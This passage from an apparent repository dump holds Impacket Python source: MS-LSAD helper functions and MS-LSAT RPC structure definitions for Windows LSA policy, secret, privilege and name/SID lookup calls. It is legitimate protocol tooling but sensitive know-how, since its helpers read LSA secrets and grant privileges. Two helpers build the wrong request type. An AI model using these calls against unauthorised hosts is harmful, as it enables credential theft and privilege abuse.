LSAPR_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (LsarClose, LsarCloseResponse),\n 2 : (LsarEnumeratePrivileges, LsarEnumeratePrivilegesResponse),\n 3 : (LsarQuerySecurityObject, LsarQuerySecurityObjectResponse),\n 4 : (LsarSetSecurityObject, LsarSetSecurityObjectResponse),\n 6 : (LsarOpenPolicy, LsarOpenPolicyResponse),\n 7 : (LsarQueryInformationPolicy, LsarQueryInformationPolicyResponse),\n 8 : (LsarSetInformationPolicy, LsarSetInformationPolicyResponse),\n10 : (LsarCreateAccount, LsarCreateAccountResponse),\n11 : (LsarEnumerateAccounts, LsarEnumerateAccountsResponse),\n#12 : (LsarCreateTrustedDomain, LsarCreateTrustedDomainResponse),\n13 : (LsarEnumerateTrustedDomains, LsarEnumerateTrustedDomainsResponse),\n16 : (LsarCreateSecret, LsarCreateSecretResponse),\n17 : (LsarOpenAccount, LsarOpenAccountResponse),\n18 : (LsarEnumeratePrivilegesAccount, LsarEnumeratePrivilegesAccountResponse),\n19 : (LsarAddPrivilegesToAccount, LsarAddPrivilegesToAccountResponse),\n20 : (LsarRemovePrivilegesFromAccount, LsarRemovePrivilegesFromAccountResponse),\n23 : (LsarGetSystemAccessAccount, LsarGetSystemAccessAccountResponse),\n24 : (LsarSetSystemAccessAccount, LsarSetSystemAccessAccountResponse),\n#25 : (LsarOpenTrustedDomain, LsarOpenTrustedDomainResponse),\n#26 : (LsarQueryInfoTrustedDomain, LsarQueryInfoTrustedDomainResponse),\n#27 : (LsarSetInformationTrustedDomain, LsarSetInformationTrustedDomainResponse),\n28 : (LsarOpenSecret, LsarOpenSecretResponse),\n29 : (LsarSetSecret, LsarSetSecretResponse),\n30 : (LsarQuerySecret, LsarQuerySecretResponse),\n31 : (LsarLookupPrivilegeValue, LsarLookupPrivilegeValueResponse),\n32 : (LsarLookupPrivilegeName, LsarLookupPrivilegeNameResponse),\n33 : (LsarLookupPrivilegeDisplayName, LsarLookupPrivilegeDisplayNameResponse),\n34 : (LsarDeleteObject, LsarDeleteObjectResponse),\n35 : (LsarEnumerateAccountsWithUserRight, LsarEnumerateAccountsWithUserRightResponse),\n36 : (LsarEnumerateAccountRights, LsarEnumerateAccountRightsResponse),\n37 : (LsarAddAccountRights, LsarAddAccountRightsResponse),\n38 : (LsarRemoveAccountRights, LsarRemoveAccountRightsResponse),\n#39 : (LsarQueryTrustedDomainInfo, LsarQueryTrustedDomainInfoResponse),\n#40 : (LsarSetTrustedDomainInfo, LsarSetTrustedDomainInfoResponse),\n#41 : (LsarDeleteTrustedDomain, LsarDeleteTrustedDomainResponse),\n42 : (LsarStorePrivateData, LsarStorePrivateDataResponse),\n43 : (LsarRetrievePrivateData, LsarRetrievePrivateDataResponse),\n44 : (LsarOpenPolicy2, LsarOpenPolicy2Response),\n46 : (LsarQueryInformationPolicy2, LsarQueryInformationPolicy2Response),\n47 : (LsarSetInformationPolicy2, LsarSetInformationPolicy2Response),\n#48 : (LsarQueryTrustedDomainInfoByName, LsarQueryTrustedDomainInfoByNameResponse),\n#49 : (LsarSetTrustedDomainInfoByName, LsarSetTrustedDomainInfoByNameResponse),\n50 : (LsarEnumerateTrustedDomainsEx, LsarEnumerateTrustedDomainsExResponse),\n#51 : (LsarCreateTrustedDomainEx, LsarCreateTrustedDomainExResponse),\n53 : (LsarQueryDomainInformationPolicy, LsarQueryDomainInformationPolicyResponse),\n#54 : (LsarSetDomainInformationPolicy, LsarSetDomainInformationPolicyResponse),\n#55 : (LsarOpenTrustedDomainByName, LsarOpenTrustedDomainByNameResponse),\n#59 : (LsarCreateTrustedDomainEx2, LsarCreateTrustedDomainEx2Response),\n#73 : (LsarQueryForestTrustInformation, LsarQueryForestTrustInformationResponse),\n#74 : (LsarSetForestTrustInformation, LsarSetForestTrustInformationResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hLsarOpenPolicy2(dce, desiredAccess = MAXIMUM_ALLOWED):\n    request = LsarOpenPolicy2()\n    request['SystemName'] = NULL\n    request['ObjectAttributes']['RootDirectory'] = NULL\n    request['ObjectAttributes']['ObjectName'] = NULL\n    request['ObjectAttributes']['SecurityDescriptor'] = NULL\n    request['ObjectAttributes']['SecurityQualityOfService'] = NULL\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarOpenPolicy(dce, desiredAccess = MAXIMUM_ALLOWED):\n    request = LsarOpenPolicy()\n    request['SystemName'] = NULL\n    request['ObjectAttributes']['RootDirectory'] = NULL\n    request['ObjectAttributes']['ObjectName'] = NULL\n    request['ObjectAttributes']['SecurityDescriptor'] = NULL\n    request['ObjectAttributes']['SecurityQualityOfService'] = NULL\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarQueryInformationPolicy2(dce, policyHandle, informationClass):\n    request = LsarQueryInformationPolicy2()\n    request['PolicyHandle'] = policyHandle\n    request['InformationClass'] = informationClass\n    return dce.request(request)\n\ndef hLsarQueryInformationPolicy(dce, policyHandle, informationClass):\n    request = LsarQueryInformationPolicy()\n    request['PolicyHandle'] = policyHandle\n    request['InformationClass'] = informationClass\n    return dce.request(request)\n\ndef hLsarQueryDomainInformationPolicy(dce, policyHandle, informationClass):\n    request = LsarQueryInformationPolicy()\n    request['PolicyHandle'] = policyHandle\n    request['InformationClass'] = informationClass\n    return dce.request(request)\n\ndef hLsarEnumerateAccounts(dce, policyHandle, preferedMaximumLength=0xffffffff):\n    request = LsarEnumerateAccounts()\n    request['PolicyHandle'] = policyHandle\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hLsarEnumerateAccountsWithUserRight(dce, policyHandle, UserRight):\n    request = LsarEnumerateAccountsWithUserRight()\n    request['PolicyHandle'] = policyHandle\n    request['UserRight'] = UserRight\n    return dce.request(request)\n\ndef hLsarEnumerateTrustedDomainsEx(dce, policyHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = LsarEnumerateTrustedDomainsEx()\n    request['PolicyHandle'] = policyHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hLsarEnumerateTrustedDomains(dce, policyHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):\n    request = LsarEnumerateTrustedDomains()\n    request['PolicyHandle'] = policyHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hLsarOpenAccount(dce, policyHandle, accountSid, desiredAccess=MAXIMUM_ALLOWED):\n    request = LsarOpenAccount()\n    request['PolicyHandle'] = policyHandle\n    request['AccountSid'].fromCanonical(accountSid)\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarClose(dce, objectHandle):\n    request = LsarClose()\n    request['ObjectHandle'] = objectHandle\n    return dce.request(request)\n\ndef hLsarCreateAccount(dce, policyHandle, accountSid, desiredAccess=MAXIMUM_ALLOWED):\n    request = LsarCreateAccount()\n    request['PolicyHandle'] = policyHandle\n    request['AccountSid'].fromCanonical(accountSid)\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarDeleteObject(dce, objectHandle):\n    request = LsarDeleteObject()\n    request['ObjectHandle'] = objectHandle\n    return dce.request(request)\n\ndef hLsarEnumeratePrivilegesAccount(dce, accountHandle):\n    request = LsarEnumeratePrivilegesAccount()\n    request['AccountHandle'] = accountHandle\n    return dce.request(request)\n\ndef hLsarGetSystemAccessAccount(dce, accountHandle):\n    request = LsarGetSystemAccessAccount()\n    request['AccountHandle'] = accountHandle\n    return dce.request(request)\n\ndef hLsarSetSystemAccessAccount(dce, accountHandle, systemAccess):\n    request = LsarSetSystemAccessAccount()\n    request['AccountHandle'] = accountHandle\n    request['SystemAccess'] = systemAccess\n    return dce.request(request)\n\ndef hLsarAddPrivilegesToAccount(dce, accountHandle, privileges):\n    request = LsarAddPrivilegesToAccount()\n    request['AccountHandle'] = accountHandle\n    request['Privileges']['PrivilegeCount'] = len(privileges)\n    request['Privileges']['Control'] = 0\n    for priv in privileges:\n        request['Privileges']['Privilege'].append(priv)\n\n    return dce.request(request)\n\ndef hLsarRemovePrivilegesFromAccount(dce, accountHandle, privileges, allPrivileges = False):\n    request = LsarRemovePrivilegesFromAccount()\n    request['AccountHandle'] = accountHandle\n    request['Privileges']['Control'] = 0\n    if privileges != NULL:\n        request['Privileges']['PrivilegeCount'] = len(privileges)\n        for priv in privileges:\n            request['Privileges']['Privilege'].append(priv)\n    else:\n        request['Privileges']['PrivilegeCount'] = NULL\n    request['AllPrivileges'] = allPrivileges\n\n    return dce.request(request)\n\ndef hLsarEnumerateAccountRights(dce, policyHandle, accountSid):\n    request = LsarEnumerateAccountRights()\n    request['PolicyHandle'] = policyHandle\n    request['AccountSid'].fromCanonical(accountSid)\n    return dce.request(request)\n\ndef hLsarAddAccountRights(dce, policyHandle, accountSid, userRights):\n    request = LsarAddAccountRights()\n    request['PolicyHandle'] = policyHandle\n    request['AccountSid'].fromCanonical(accountSid)\n    request['UserRights']['EntriesRead'] = len(userRights)\n    for userRight in userRights:\n        right = RPC_UNICODE_STRING()\n        right['Data'] = userRight\n        request['UserRights']['UserRights'].append(right)\n\n    return dce.request(request)\n\ndef hLsarRemoveAccountRights(dce, policyHandle, accountSid, userRights):\n    request = LsarRemoveAccountRights()\n    request['PolicyHandle'] = policyHandle\n    request['AccountSid'].fromCanonical(accountSid)\n    request['UserRights']['EntriesRead'] = len(userRights)\n    for userRight in userRights:\n        right = RPC_UNICODE_STRING()\n        right['Data'] = userRight\n        request['UserRights']['UserRights'].append(right)\n\n    return dce.request(request)\n\ndef hLsarCreateSecret(dce, policyHandle, secretName, desiredAccess=MAXIMUM_ALLOWED):\n    request = LsarCreateSecret()\n    request['PolicyHandle'] = policyHandle\n    request['SecretName'] = secretName\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarOpenSecret(dce, policyHandle, secretName, desiredAccess=MAXIMUM_ALLOWED):\n    request = LsarOpenSecret()\n    request['PolicyHandle'] = policyHandle\n    request['SecretName'] = secretName\n    request['DesiredAccess'] = desiredAccess\n    return dce.request(request)\n\ndef hLsarSetSecret(dce, secretHandle, encryptedCurrentValue, encryptedOldValue):\n    request = LsarOpenSecret()\n    request['SecretHandle'] = secretHandle\n    if encryptedCurrentValue != NULL:\n        request['EncryptedCurrentValue']['Length'] = len(encryptedCurrentValue)\n        request['EncryptedCurrentValue']['MaximumLength'] = len(encryptedCurrentValue)\n        request['EncryptedCurrentValue']['Buffer'] = list(encryptedCurrentValue)\n    if encryptedOldValue != NULL:\n        request['EncryptedOldValue']['Length'] = len(encryptedOldValue)\n        request['EncryptedOldValue']['MaximumLength'] = len(encryptedOldValue)\n        request['EncryptedOldValue']['Buffer'] = list(encryptedOldValue)\n    return dce.request(request)\n\ndef hLsarQuerySecret(dce, secretHandle):\n    request = LsarQuerySecret()\n    request['SecretHandle'] = secretHandle\n    request['EncryptedCurrentValue']['Buffer'] = NULL\n    request['EncryptedOldValue']['Buffer'] = NULL\n    request['OldValueSetTime'] = NULL\n    return dce.request(request)\n\ndef hLsarRetrievePrivateData(dce, policyHandle, keyName):\n    request = LsarRetrievePrivateData()\n    request['PolicyHandle'] = policyHandle\n    request['KeyName'] = keyName\n    retVal = dce.request(request)\n    return b''.join(retVal['EncryptedData']['Buffer'])\n\ndef hLsarStorePrivateData(dce, policyHandle, keyName, encryptedData):\n    request = LsarStorePrivateData()\n    request['PolicyHandle'] = policyHandle\n    request['KeyName'] = keyName\n    if encryptedData != NULL:\n        request['EncryptedData']['Length'] = len(encryptedData)\n        request['EncryptedData']['MaximumLength'] = len(encryptedData)\n        request['EncryptedData']['Buffer'] = list(encryptedData)\n    else:\n        request['EncryptedData'] = NULL\n    return dce.request(request)\n\ndef hLsarEnumeratePrivileges(dce, policyHandle, enumerationContext = 0, preferedMaximumLength = 0xffffffff):\n    request = LsarEnumeratePrivileges()\n    request['PolicyHandle'] = policyHandle\n    request['EnumerationContext'] = enumerationContext\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    return dce.request(request)\n\ndef hLsarLookupPrivilegeValue(dce, policyHandle, name):\n    request = LsarLookupPrivilegeValue()\n    request['PolicyHandle'] = policyHandle\n    request['Name'] = name\n    return dce.request(request)\n\ndef hLsarLookupPrivilegeName(dce, policyHandle, luid):\n    request = LsarLookupPrivilegeName()\n    request['PolicyHandle'] = policyHandle\n    request['Value'] = luid\n    return dce.request(request)\n\ndef hLsarQuerySecurityObject(dce, policyHandle, securityInformation = OWNER_SECURITY_INFORMATION):\n    request = LsarQuerySecurityObject()\n    request['PolicyHandle'] = policyHandle\n    request['SecurityInformation'] = securityInformation\n    retVal =  dce.request(request)\n    return b''.join(retVal['SecurityDescriptor']['SecurityDescriptor'])\n\ndef hLsarSetSecurityObject(dce, policyHandle, securityInformation, securityDescriptor):\n    request = LsarSetSecurityObject()\n    request['PolicyHandle'] = policyHandle\n    request['SecurityInformation'] = securityInformation\n    request['SecurityDescriptor']['Length'] = len(securityDescriptor)\n    request['SecurityDescriptor']['SecurityDescriptor'] = list(securityDescriptor)\n    return dce.request(request)\n\ndef hLsarSetInformationPolicy2(dce, policyHandle, informationClass, policyInformation):\n    request = LsarSetInformationPolicy2()\n    request['PolicyHandle'] = policyHandle\n    request['InformationClass'] = informationClass\n    request['PolicyInformation'] = policyInformation\n    return dce.request(request)\n\ndef hLsarSetInformationPolicy(dce, policyHandle, informationClass, policyInformation):\n    request = LsarSetInformationPolicy()\n    request['PolicyHandle'] = policyHandle\n    request['InformationClass'] = informationClass\n    request['PolicyInformation'] = policyInformation\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/lsat.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-LSAT] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket import nt_errors\nfrom impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \\\n    NULL\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.samr import SID_NAME_USE\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_LSAT  = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] \n            return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.10 ACCESS_MASK\nPOLICY_LOOKUP_NAMES             = 0x00000800\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST\nclass LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),\n        ('MaxEntries', ULONG),\n    )\n\nclass PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_REFERENCED_DOMAIN_LIST),\n    )\n\n# 2.2.14 LSA_TRANSLATED_SID\nclass LSA_TRANSLATED_SID(NDRSTRUCT):\n    structure = (\n        ('Use', SID_NAME_USE),\n        ('RelativeId', ULONG),\n        ('DomainIndex', LONG),\n    )\n\n# 2.2.15 LSAPR_TRANSLATED_SIDS\nclass LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):\n    item = LSA_TRANSLATED_SID\n\nclass PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSA_TRANSLATED_SID_ARRAY),\n    )\n\nclass LSAPR_TRANSLATED_SIDS(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Sids', PLSA_TRANSLATED_SID_ARRAY),\n    )\n\n# 2.2.16 LSAP_LOOKUP_LEVEL\nclass LSAP_LOOKUP_LEVEL(NDRENUM):\n    class enumItems(Enum):\n        LsapLookupWksta                = 1\n        LsapLookupPDC                  = 2\n        LsapLookupTDL                  = 3\n        LsapLookupGC                   = 4\n        LsapLookupXForestReferral      = 5\n        LsapLookupXForestResolve       = 6\n        LsapLookupRODCReferralToFullDC = 7\n\n# 2.2.17 LSAPR_SID_INFORMATION\nclass LSAPR_SID_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Sid', PRPC_SID),\n    )\n\n# 2.2.18 LSAPR_SID_ENUM_BUFFER\nclass LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):\n    item = LSAPR_SID_INFORMATION\n\nclass PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_SID_INFORMATION_ARRAY),\n    )\n\nclass LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),\n    )\n\n# 2.2.19 LSAPR_TRANSLATED_NAME\nclass LSAPR_TRANSLATED_NAME(NDRSTRUCT):\n    structure = (\n        ('Use', SID_NAME_USE),\n        ('Name', RPC_UNICODE_STRING),\n        ('DomainIndex', LONG),\n    )\n\n# 2.2.20 LSAPR_TRANSLATED_NAMES\nclass LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRANSLATED_NAME\n\nclass PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRANSLATED_NAME_ARRAY),\n    )\n\nclass LSAPR_TRANSLATED_NAMES(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Names', PLSAPR_TRANSLATED_NAME_ARRAY),\n    )\n\n# 2.2.21 LSAPR_TRANSLATED_NAME_EX\nclass LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):\n    structure = (\n        ('Use', SID_NAME_USE),\n        ('Name', RPC_UNICODE_STRING),\n        ('DomainIndex', LONG),\n        ('Flags', ULONG),\n    )\n\n# 2.2.22 LSAPR_TRANSLATED_NAMES_EX\nclass LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRANSLATED_NAME_EX\n\nclass PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),\n    )\n\nclass LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),\n    )\n\n# 2.2.23 LSAPR_TRANSLATED_SID_EX\nclass LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):\n    structure = (\n        ('Use', SID_NAME_USE),\n        ('RelativeId', ULONG),\n        ('DomainIndex', LONG),\n        ('Flags', ULONG),\n    )\n\n# 2.2.24 LSAPR_TRANSLATED_SIDS_EX\nclass LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRANSLATED_SID_EX\n\nclass PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),\n    )\n\nclass LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),\n    )\n\n# 2.2.25 LSAPR_TRANSLATED_SID_EX2\nclass LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):\n    structure = (\n        ('Use', SID_NAME_USE),\n        ('Sid', PRPC_SID),\n        ('DomainIndex', LONG),\n        ('Flags', ULONG),\n    )\n\n# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2\nclass LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):\n    item = LSAPR_TRANSLATED_SID_EX2\n\nclass PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),\n    )\n\nclass LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG),\n        ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),\n    )\n\nclass RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.4 LsarGetUserName (Opnum 45)\nclass LsarGetUserName(NDRCALL):\n    opnum = 45\n    structure = (\n       ('SystemName', LPWSTR),\n       ('UserName', PRPC_UNICODE_STRING),\n       ('DomainName', PRPC_UNICODE_STRING),\n    )\n\nclass LsarGetUserNameResponse(NDRCALL):\n    structure = (\n       ('UserName', PRPC_UNICODE_STRING),\n       ('DomainName', PRPC_UNICODE_STRING),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5 LsarLookupNames4 (Opnum 77)\nclass LsarLookupNames4(NDRCALL):\n    opnum = 77\n    structure = (\n       ('Count', ULONG),\n       ('Names', RPC_UNICODE_STRING_ARRAY),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n       ('LookupOptions', ULONG),\n       ('ClientRevision', ULONG),\n    )\n\nclass LsarLookupNames4Response(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.6 LsarLookupNames3 (Opnum 68)\nclass LsarLookupNames3(NDRCALL):\n    opnum = 68\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Count', ULONG),\n       ('Names', RPC_UNICODE_STRING_ARRAY),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n       ('LookupOptions', ULONG),\n       ('ClientRevision', ULONG),\n    )\n\nclass LsarLookupNames3Response(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7 LsarLookupNames2 (Opnum 58)\nclass LsarLookupNames2(NDRCALL):\n    opnum = 58\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Count', ULONG),\n       ('Names', RPC_UNICODE_STRING_ARRAY),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n       ('LookupOptions', ULONG),\n       ('ClientRevision', ULONG),\n    )\n\nclass LsarLookupNames2Response(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.8 LsarLookupNames (Opnum 14)\nclass LsarLookupNames(NDRCALL):\n    opnum = 14\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('Count', ULONG),\n       ('Names', RPC_UNICODE_STRING_ARRAY),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n    )\n\nclass LsarLookupNamesResponse(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedSids', LSAPR_TRANSLATED_SIDS),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.9 LsarLookupSids3 (Opnum 76)\nclass LsarLookupSids3(NDRCALL):\n    opnum = 76\n    structure = (\n       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n       ('LookupOptions', ULONG),\n       ('ClientRevision', ULONG),\n    )\n\nclass LsarLookupSids3Response(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.10 LsarLookupSids2 (Opnum 57)\nclass LsarLookupSids2(NDRCALL):\n    opnum = 57\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n       ('LookupOptions', ULONG),\n       ('ClientRevision', ULONG),\n    )\n\nclass LsarLookupSids2Response(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.11 LsarLookupSids (Opnum 15)\nclass LsarLookupSids(NDRCALL):\n    opnum = 15\n    structure = (\n       ('PolicyHandle', LSAPR_HANDLE),\n       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES),\n       ('LookupLevel', LSAP_LOOKUP_LEVEL),\n       ('MappedCount', ULONG),\n    )\n\nclass LsarLookupSidsResponse(NDRCALL):\n    structure = (\n       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),\n       ('TranslatedNames', LSAPR_TRANSLATED_NAMES),\n       ('MappedCount', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 14 : (LsarLookupNames, LsarLookupNamesResponse),\n 15 : (LsarLookupSids, LsarLookupSidsResponse),\n 45 : (LsarGetUserName, LsarGetUserNameResponse),\n 57 : (LsarLookupSids2, LsarLookupSids2Response),\n 58 : (LsarLookupNames2, LsarLookupNames2Response),\n 68 : (LsarLookupNames3, LsarLookupNames3Response),\n 76 : (LsarLookupSids3, LsarLookupSids3Response),\n 77 : (LsarLookupNames4, LsarLookupNames4Response),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hLsarGetUserName(dce, userName = NULL, domainName = NULL):\n    request = LsarGetUserName()\n    request['SystemName'] = NULL\n    request['UserName'] = userName\n    request['DomainName'] = domainName\n    return dce.request(request)\n\ndef hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):\n    request = LsarLookupNames4()\n    request['Count'] = len(names)\n    for name in names:\n        itemn = RPC_UNICODE_STRING()\n        itemn['Data'] = name\n        request['Names'].append(itemn)\n    request['TranslatedSids']['Sids'] = NULL\n    request['LookupLevel'] = lookupLevel\n    request['LookupOptions'] = lookupOptions\n    request['ClientRevision'] = clientRevision\n\n    return dce.request(request)\n\ndef hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):\n    request = LsarLookupNames3()\n    request['PolicyHandle'] = policyHandle\n    request['Count'] = len(names)\n    for name in names:\n        itemn = RPC_UNICODE_STRING()\n        itemn['Data'] = name\n        request['Names'].append(itemn)\n    request['TranslatedSids']['Sids'] = NULL\n    request['LookupLevel'] = lookupLevel\n    request['LookupOptions'] = lookupOptions\n    request['ClientRevision'] = clientRevision\n\n    return dce.request(request)\n\ndef hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):\n    request = LsarLookupNames2()\n    